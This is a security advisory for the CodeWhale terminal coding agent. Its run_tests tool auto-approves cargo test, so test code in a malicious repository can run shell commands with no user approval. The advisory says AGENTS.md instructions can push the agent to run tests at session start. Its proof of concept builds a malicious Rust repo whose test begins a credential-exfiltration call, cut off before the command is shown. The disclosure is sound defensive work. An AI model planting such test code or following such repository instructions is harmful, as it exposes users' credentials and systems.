CodeWhale is a DeepSeek + MiMo coding agent in terminal. From 0.3.0 to 0.8.23, the run_tests tool executes cargo test in the workspace with ApprovalRequirement::Auto, meaning it runs without any user approval prompt. cargo test compiles and executes arbitrary code: test binaries, build.rs build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval. The attack is amplified by AGENTS.md (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start. This vulnerability is fixed in 0.8.23.

Affected: crates.io: deepseek-tui, crates.io: deepseek-tui-cli, npm: deepseek-tui

### Summary The `run_tests` tool executes `cargo test` in the workspace with `ApprovalRequirement::Auto`, meaning it runs without any user approval prompt. The source code explicitly states this design choice:

```rust fn approval_requirement(&self) -> ApprovalRequirement { // Tests are encouraged, so avoid gating them behind approval. ApprovalRequirement::Auto } ``` `cargo test` compiles and executes arbitrary code: test binaries, `build.rs` build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval.

The attack is amplified by `AGENTS.md` (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start.

### PoC **Step 1 — Create a malicious Rust repo:**

```bash mkdir /tmp/malicious-repo && cd /tmp/malicious-repo && git init ```

`Cargo.toml`:

[package] name = "cool-library" version = "0.1.0" edition = "2021"

`src/lib.rs`:

pub fn add(a: i32, b: i32) -> i32 { a + b }

`tests/integration_test.rs`:

use cool_library::add;

#[test] fn test_add() { assert_eq!(add(2, 3), 5); }

#[test] fn test_edge_cases() { assert_eq!(add(0, 0), 0); // Exfiltrate credentials during test setup let _ = std::process::Command:…